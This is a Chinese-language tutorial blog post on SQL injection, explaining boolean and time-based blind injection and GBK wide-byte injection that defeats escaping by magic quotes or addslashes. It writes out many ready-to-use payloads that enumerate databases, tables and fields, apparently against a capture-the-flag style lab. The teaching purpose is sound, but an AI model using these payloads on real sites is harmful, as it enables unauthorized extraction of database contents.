SQL注入篇学习之盲注/宽字节注入


Posted in MySQL onMarch 03, 2022

盲注

有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if()

布尔盲注

布尔很明显就是true和false,也就是说它只会根据信息返回true和false,也就是没有了之前的报错信息。

时间盲注

界面返回值只有一种true,无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数

length() 函数 返回字符串的长度

?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个

?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii码

?id=1 and ord(substr(database(),1,1))=107

limit 0,1 显示第一条

substr(截取的内容,截取的位数,截取的个数)

substr(database(),1,1) 显示第一位字符

时间型:sleep(n) 将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1' and if(length(database())=8,1,sleep(5))-- +

演示语句

猜数据库的长度;
?id=1 and (length(database()))>11#

猜测数据库的库名:
?id=1 and ascii(substr(database(),1,1))>1#

猜表名(示例为查询第一个表名)
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6     //注意括号问题

and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l'     

猜第一个字段名第一个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i'  

猜第一个字段名第二个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i'  


猜第二个字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'#  

猜字段中的内容:
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122

时间盲注猜测数据库的长度:
?id=1" and if(length(database())=12,sleep(5),1) -- +

猜测数据库的库名:
if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

猜测数据库中表的长度:
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +

猜测数据库中的表名:
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +

猜测表中的字段名的长度:
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- +

猜测表中的字段名:
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- +

猜测字段中内容的长度:
?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +

猜测字段中的内容:
?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +

burp抓包演示

先判断长度,再判断内容

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

宽字节注入

php魔术函数

  • magic_quotes_gpc(魔术引号开关)——> 防御sql注入
  • magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误,防止注入使其无法闭合。
  • 单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线

开启方式

SQL注入篇学习之盲注/宽字节注入

php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用,$b = addcslashes($_REQUEST[8]);不在配置文件中打开【原因是将安全编码交给了用户自己,避免用户过度依赖造成安全隐患】,或者在php.ini中修改。

开启效果

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

作用

当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤

绕过方法

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

  • 不需要闭合
  • 仔细查看作用域(POST、GET、COOKIE),$_SERVER就在作用域之外。
  • 宽字节注入

宽字节注入

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)
我们就以gbk字符编码为例,拉开帷幕。GBK【双字符编码】全称《汉字内码扩展规范》,gbk是一种多字符编码【多个字符组在一起成为一个字】。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

  • 核心:传一个字符将反斜杠吃掉成为汉字
  • 数据库使用GBK编码可能存在宽字节注入
  • MySql的编码设置:SET NAMES 'gbk'或是 SET character_set_client =gbk
  • 宽字节SQL注入就是PHP发送请求到MySql时使用了语句
  • SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
  • %df \、%9c \ ——>汉字
  • 绕过其中的单引号等字符,除了采用嵌套法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
  • 也可以采用十六进制标识法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
  • 宽字节注入可以直接传入汉字

SQL注入篇学习之盲注/宽字节注入

总结 

到此这篇关于SQL注入篇学习之盲注/宽字节注入的文章就介绍到这了,更多相关SQL盲注/宽字节注入内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL索引篇之千万级数据实战测试
Apr 05 MySQL
MySQL触发器的使用
May 24 MySQL
MySQL 发生同步延迟时Seconds_Behind_Master还为0的原因
Jun 21 MySQL
mysql联合索引的使用规则
Jun 23 MySQL
MySQL数据库完全卸载的方法
Mar 03 MySQL
Mysql 8.x 创建用户以及授予权限的操作记录
Apr 18 MySQL
在MySQL中你成功的避开了所有索引
Apr 20 MySQL
MySQL 字符集 character
May 04 MySQL
MySQL范围查询优化的场景实例详解
Jun 10 MySQL
MySQL数据库查询之多表查询总结
Aug 05 MySQL
MySQL远程无法连接的一些常见原因总结
Sep 23 MySQL
MySQL数据管理操作示例讲解
Dec 24 MySQL
MySQL为数据表建立索引的原则详解
Mar 03 #MySQL
MySQL数据库完全卸载的方法
千万级用户系统SQL调优实战分享
Mar 03 #MySQL
解析MySQL索引的作用
Arthas排查Kubernetes中应用频繁挂掉重启异常
Feb 28 #MySQL
一文搞懂MySQL索引页结构
MySQL七大JOIN的具体使用
You might like
PHP上传文件参考配置大文件上传
2015/12/16 PHP
Yii2框架RESTful API 格式化响应,授权认证和速率限制三部分详解
2016/11/10 PHP
PHP实现无限分类的实现方法
2016/11/14 PHP
PHP排序算法之基数排序(Radix Sort)实例详解
2018/04/21 PHP
laravel清除视图缓存的代码
2019/10/23 PHP
Laravel监听数据库访问,打印SQL的例子
2019/10/24 PHP
JavaScript 常用函数库详解
2009/10/21 Javascript
jQuery AJAX实现调用页面后台方法和web服务定义的方法分享
2012/03/01 Javascript
js中的caller和callee属性介绍和例子
2014/06/07 Javascript
jQuery学习笔记之jQuery原型属性和方法
2014/06/09 Javascript
js判断手机和pc端选择不同执行事件的方法
2015/01/30 Javascript
jQuery实现动画效果circle实例
2015/08/06 Javascript
JS简单实现DIV相对于浏览器固定位置不变的方法
2016/06/17 Javascript
jQuery和JavaScript节点插入元素的方法对比
2016/11/18 Javascript
jquery+css实现简单的图片轮播效果
2017/08/07 jQuery
详解Angular路由之路由守卫
2018/05/10 Javascript
vue新vue-cli3环境配置和模拟json数据的实例
2018/09/19 Javascript
layer 刷新某个页面的实现方法
2019/09/05 Javascript
js常用方法、检查是否有特殊字符串、倒序截取字符串操作完整示例
2020/01/26 Javascript
Vue实现剪切板图片压缩功能
2020/02/04 Javascript
[41:08]2014 DOTA2国际邀请赛中国区预选赛 HGT VS NE
2014/05/22 DOTA
[02:51]DOTA2 Supermajor小组分组对阵抽签仪式
2018/06/01 DOTA
深入Python解释器理解Python中的字节码
2015/04/01 Python
Python实现获取操作系统版本信息方法
2015/04/08 Python
解决Python下imread,imwrite不支持中文的问题
2018/12/05 Python
Python爬虫文件下载图文教程
2018/12/23 Python
Python pysnmp使用方法及代码实例
2020/08/24 Python
美国网上订购鲜花:FTD
2016/09/23 全球购物
Otel.com:折扣酒店预订
2017/08/24 全球购物
瑞典廉价机票预订网站:Seat24
2018/06/19 全球购物
英国排名第一的礼品体验公司:Red Letter Days
2018/08/16 全球购物
Rossignol金鸡美国官网:始于1907年法国百年雪具品牌
2019/03/06 全球购物
银行出纳岗位职责
2013/11/25 职场文书
机械设计毕业生自荐信
2014/02/02 职场文书
危爆物品安全大检查大整治工作方案
2014/05/03 职场文书
Python socket如何解析HTTP请求内容
2022/02/12 Python